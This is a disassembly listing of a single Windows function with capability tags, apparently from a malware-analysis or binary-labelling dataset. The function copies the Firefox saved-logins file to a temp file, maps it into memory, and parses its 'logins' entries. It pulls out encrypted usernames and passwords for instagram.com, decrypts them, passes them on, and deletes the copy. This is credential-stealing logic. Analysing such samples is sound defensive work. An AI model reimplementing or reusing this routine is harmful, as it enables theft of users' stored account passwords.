Function at 0x40c180
Capabilities:
Copy file
Delete file
Get common file path
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1090
call fcn.005ccbd0
mov eax, dword [0x658e64]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x1078], eax
mov ebx, ecx
lea eax, [ebp - 0x46c]
mov dword [ebp - 0x1070], edx
push eax
push 0x410
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x108c]
push eax
call fcn.005d8333
mov edi, dword [ebp - 0x1088]
add esp, 4
mov esi, dword [ebp - 0x108c]
push 0
push 0x22b
push edi
push esi
call fcn.005ccdb0
push 0
push 0x22b
push edx
push eax
call fcn.005ccef0
sub esi, eax
lea eax, [ebp - 0x46c]
sbb edi, edx
push edi
push esi
push eax
push str._sfirefox_tmp__d.bin
push 0x410
push eax
call fcn.00401db0
add esp, 0x18
lea eax, [ebp - 0x46c]
push 0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0
push 3
push 0
push 1
push SysReAllocString
lea eax, [ebp - 0x46c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x1084], eax
cmp eax, 0xffffffff
jne 0x40c264
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.005cc070
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push 2
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov edi, eax
mov dword [ebp - 0x107c], edi
test edi, edi
je 0x40c24b
push 0
push 0
push 0
push 4
push edi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, eax
mov dword [ebp - 0x1080], ebx
test ebx, ebx
jne 0x40c2bc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.005cc070
mov esp, ebp
pop ebp
ret
movzx eax, word [0x6354e8]
lea ecx, [ebp - 0x14]
movq xmm0, qword [str._nextId_:]
lea edx, [ecx + 1]
mov word [ebp - 0xc], ax
mov al, byte [0x6354ea]
movq qword [ebp - 0x14], xmm0
movq xmm0, qword [str._logins_:]
mov byte [ebp - 0xa], al
movzx eax, word [0x6354f4]
movq qword [ebp - 0x2c], xmm0
mov word [ebp - 0x24], ax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c300
sub ecx, edx
lea eax, [ebp - 0x14]
push ecx
push eax
push ebx
call fcn.005d770a
add esp, 0xc
test eax, eax
jne 0x40c585
lea ecx, [ebp - 0x14]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c325
sub ecx, edx
lea eax, [ebp - 0x2c]
push eax
lea esi, [ecx + ebx]
push esi
call fcn.005cebc0
add esp, 8
test eax, eax
je 0x40c585
movq xmm0, qword [str._hostname_:]
mov eax, dword [0x635500]
mov dword [ebp - 0x18], eax
mov eax, dword [0x635514]
movq qword [ebp - 0x20], xmm0
movups xmm0, xmmword [str._encryptedUsername_:]
mov dword [ebp - 0x34], eax
movzx eax, byte [0x635518]
mov byte [ebp - 0x30], al
mov eax, dword [0x63552c]
movups xmmword [ebp - 0x44], xmm0
mov dword [ebp - 0x4c], eax
movups xmm0, xmmword [str._encryptedPassword_:]
movzx eax, byte [0x635530]
push 0x7b
push esi
movups xmmword [ebp - 0x5c], xmm0
mov byte [ebp - 0x48], al
call fcn.005cea90
mov esi, eax
add esp, 8
test esi, esi
je 0x40c57e
mov ebx, dword [ebp - 0x1070]
lea eax, [ebp - 0x20]
add esi, 2
push eax
push esi
call fcn.005cebc0
mov edx, eax
add esp, 8
test edx, edx
je 0x40c563
lea ecx, [ebp - 0x20]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c3d0
sub ecx, esi
push 0x2c
lea esi, [ecx + edx]
push esi
call fcn.005cea90
mov edi, eax
add esp, 8
test edi, edi
je 0x40c563
sub eax, esi
inc esi
sub eax, 2
push eax
push esi
lea eax, [ebp - 0x86c]
push 0x400
push eax
call fcn.005d1fc3
lea ecx, [ebp - 0x86c]
add esp, 0x10
mov esi, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c418
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x86c]
push eax
call fcn.005d69be
lea eax, [ebp - 0x86c]
push str.instagram.com
push eax
call fcn.005cebc0
add esp, 0x10
test eax, eax
je 0x40c563
lea eax, [ebp - 0x44]
push eax
push edi
call fcn.005cebc0
mov edx, eax
add esp, 8
test edx, edx
je 0x40c563
lea ecx, [ebp - 0x44]
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c470
sub ecx, esi
push 0x2c
lea esi, [ecx + edx]
push esi
call fcn.005cea90
mov edi, eax
add esp, 8
test edi, edi
je 0x40c563
sub eax, esi
inc esi
sub eax, 2
push eax
push esi
lea eax, [ebp - 0xc6c]
push 0x400
push eax
call fcn.005d1fc3
lea eax, [ebp - 0x5c]
mov esi, edi
push eax
push edi
call fcn.005cebc0
mov edx, eax
add esp, 0x18
test edx, edx
je 0x40c563
lea ecx, [ebp - 0x5c]
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c4d0
sub ecx, esi
push 0x2c
lea esi, [ecx + edx]
push esi
call fcn.005cea90
mov edi, eax
add esp, 8
test edi, edi
je 0x40c563
sub eax, esi
inc esi
sub eax, 2
push eax
push esi
lea eax, [ebp - 0x106c]
push 0x400
push eax
call fcn.005d1fc3
add esp, 0x10
mov dword [ebp - 0x1074], 0
lea edx, [ebp - 0x1074]
mov esi, edi
lea ecx, [ebp - 0xc6c]
call fcn.0040cdc0
lea edx, [ebp - 0x1070]
mov dword [ebp - 0x1070], 0
lea ecx, [ebp - 0x106c]
call fcn.0040cdc0
mov ecx, dword [ebp - 0x1074]
test ecx, ecx
je 0x40c563
mov eax, dword [ebp - 0x1070]
test eax, eax
je 0x40c563
push eax
push ecx
mov ecx, dword [ebp - 0x1078]
push ebx
call fcn.004072f0
push 0x7b
push esi
call fcn.005cea90
mov esi, eax
add esp, 8
test esi, esi
jne 0x40c3b0
mov edi, dword [ebp - 0x107c]
mov ebx, 1
jmp 0x40c587
xor ebx, ebx
push dword [ebp - 0x1080]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call esi
mov eax, dword [ebp - 0x1084]
test eax, eax
je 0x40c5a9
push eax
call esi
lea eax, [ebp - 0x46c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 8]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005cc070
mov esp, ebp
pop ebp
ret